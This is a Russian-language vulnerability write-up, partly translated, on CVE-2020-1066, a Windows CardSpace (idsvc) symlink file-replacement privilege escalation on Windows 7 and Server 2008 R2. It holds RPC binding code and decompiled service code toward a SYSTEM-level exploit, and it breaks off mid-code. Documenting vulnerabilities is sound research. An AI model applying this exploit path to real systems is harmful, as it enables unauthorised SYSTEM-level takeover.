
Эксплойт локального повышения привилегий для CVE-2020-1066, нацеленный на Windows 7 и Server 2008 R2. Использует произвольную замену файлов через злоупотребление символическими ссылками службы Windows CardSpace (idsvc) для достижения выполнения кода на уровне SYSTEM.
Эта уязвимость представляет собой локальное повышение привилегий через произвольную замену файлов, вызванную некорректной обработкой службой Windows CardSpace объектов символических ссылок.
Автор предоставляет PoC исключительно в исследовательских целях. Если читатель использует данный PoC для других действий, автор не несёт ответственности.
[toc]
Уязвимость затрагивает обычных пользователей Windows 7 и Windows Server 2008 R2, а также пользователей IIS со специальными конфигурациями.
Автор является отправителем данной уязвимости. Уязвимость была обновлена в мае 2020 года. Она происходит из службы Windows CardSpace (сокращённо idsvc) в Windows 7 и Windows Server 2008 R2. Эта служба может быть запущена любым пользователем, сама работает с правами System и предоставляет открытые RPC-вызовы. При перемещении пользователем указанного конфигурационного файла, находящегося в каталоге переменной окружения %APPDATA%, служба некорректно обрабатывает объекты символических ссылок, что приводит к локальному повышению привилегий через произвольную замену файлов. В этом заключается причина уязвимости.
Поскольку для эксплуатации требуется RPC-взаимодействие, необходимо сначала получить интерфейс службы MIDL, чтобы написать локальный код для взаимодействия. Автор рекомендует использовать инструмент RpcView. Подробные методы описаны в серии статей по поиску RPC-уязвимостей.
Сначала получите файл символов следующим образом и настройте символы в инструменте, после чего можно декомпилировать IDL-файл интерфейса RPC. Подробный метод приведён ниже:``` //先配置环境变量[_NT_SYMBOL_PATH]值如下 SRVC:\symbolshttp://msdl.microsoft.com/download/symbols/ //手动下载符号,symchk.exe在windbg目录下 symchk.exe "C:\Windows\Microsoft.NET\Framework64\v3.0\Windows Communication Foundation\infocard.exe" /v //在RpcView工具点击Options->Configure Symbols,输入如下内容,注意大小写 srv*C:\symbols

С помощью инструмента извлекаются 3 важных данных: тип протокола Rpc, имя протокола и файл определения клиента интерфейса протокола (сгенерированный при компиляции IDL-файла .c-файл, см. текстовое поле Decompilation слева), после чего можно привязать Rpc-сервис следующим способом```
BOOL StartRpcService()
{
RPC_STATUS status;
unsigned int cMinCalls = 1;
RPC_BINDING_HANDLE v5;
RPC_SECURITY_QOS SecurityQOS = {};
RPC_WSTR StringBinding = nullptr;
if (StartConnectingService())
{
//Rpc协议的类型,协议名称
status = RpcStringBindingComposeW(nullptr, L"ncalrpc", 0, L"31336F38236F3E2C6F3F2E6F20336F20236F21326F", nullptr, &StringBinding);
if (status){
printf("RpcStringBindingComposeW Failed:%d\n", status);
return(status);
}
status = RpcBindingFromStringBindingW(StringBinding, &hBinding);
RpcStringFreeW(&StringBinding);
if (status){
printf("RpcBindingFromStringBindingW Failed:%d\n", status);
return(status);
}
SecurityQOS.Version = 1;
SecurityQOS.ImpersonationType = RPC_C_IMP_LEVEL_IMPERSONATE;
SecurityQOS.Capabilities = RPC_C_QOS_CAPABILITIES_DEFAULT;
SecurityQOS.IdentityTracking = RPC_C_QOS_IDENTITY_STATIC;
status = RpcBindingSetAuthInfoExW(hBinding, 0, 6u, 0xAu, 0, 0, (RPC_SECURITY_QOS*)&SecurityQOS);
if (status){
printf("RpcBindingSetAuthInfoExW Failed:%d\n", status);
return(status);
}
//绑定接口
status = RpcEpResolveBinding(hBinding, DefaultIfName_v1_0_c_ifspec);
if (status){
printf("RpcEpResolveBinding Failed:%d\n", status);
return(status);
}
}
else
{
printf("Start Connecting Windows Cardspace Service Failed");
return 0;
}
return 0;
}
Путем декомпиляции кода службы idsvc был получен конкретный проект (см. соответствующие проекты). Служба idsvc привязывает глобальный обработчик RequestFactory.ProcessNewRequest глобального интерфейса RPC, для случая первого вызова, когда parentRequestHandle равен 0, вызывается класс CreateClientRequestInstance для обработки обратного вызова, последующие операции обрабатываются классом CreateUIAgentRequestInstance.``` //全局RPC接口的全局处理程序 internal static int ProcessNewRequest( int parentRequestHandle, IntPtr rpcHandle, IntPtr inArgs, out IntPtr outArgs) { ... //初次调用 if (parentRequestHandle == 0) { using (UIAgentMonitorHandle monitorHandle = new UIAgentMonitorHandle()) { using (ClientRequest clientRequestInstance = RequestFactory.CreateClientRequestInstance(monitorHandle, structure.Type, rpcHandle, inStream, (Stream)outStream)) {
string extendedMessage; //反射出来后执行实例的DoProcessRequest方法处理请求 num = clientRequestInstance.DoProcessRequest(out extendedMessage); RpcResponse outArgs1; RequestFactory.ConvertStreamToIntPtr(outStream, out outArgs1); //返回结果 outArgs = outArgs1.Marshal(); } } }
Сервис idsvc будет использовать отражение для получения соответствующего класса для обработки обратного вызова на основе имени класса из поля RpcRequest->Type, здесь в poc используется класс "ManageRequest";```
private static ClientRequest CreateClientRequestInstance( UIAgentMonitorHandle monitorHandle, string reqName, IntPtr rpcHandle,Stream inStream,Stream outStream)
{
ClientRequest clientRequest = (ClientRequest)null;
lock (RequestFactory.s_createRequestSync)
{
RequestFactory.RequestName request =
RequestFactory.s_requestMap[reqName];
if (-1 !=
Array.IndexOf<RequestFactory.RequestName>(RequestFactory.s_uiClientRequests,
request))
{
Process contextMapping =
ClientUIRequest.GetContextMapping(rpcHandle, true);
InfoCardTrace.ThrowInvalidArgumentConditional(null ==
contextMapping, nameof(rpcHandle));
WindowsIdentity executionIdentity =
NativeMcppMethods.CreateServiceExecutionIdentity(contextMapping);
InfoCardUIAgent agent =
monitorHandle.CreateAgent(contextMapping.Id, executionIdentity, tSSession);
switch (RequestFactory.s_requestMap[reqName])
{
//这里使用的是"ManageRequest"类;
case RequestFactory.RequestName.ManageRequest:
clientRequest = (ClientRequest)new
ManageRequest(contextMapping, executionIdentity, agent, rpcHandle, inStream,
outStream);
break;
}
}
Запуск функции DoProcessRequest экземпляра ManageRequest для обработки запроса, пропуская промежуточные шаги, в конечном итоге вызов StoreConnection.CreateDefaultDataSources() приводит к точке эксплуатации.
При взаимодействии с сервисом сервис олицетворяет клиента (Impersonate Client) и получает профиль пользователя. По умолчанию в качестве файла конфигурации указывается файл в каталоге, заданном переменной среды пользователя %APPDATA%. Для пользователей IIS в особых случаях файл конфигурации по умолчанию не загружается; для этого необходимо включить следующую конфигурацию: нажать Пулы приложений -> Дополнительные настройки.
```
//构造函数
protected StoreConnection(WindowsIdentity identity)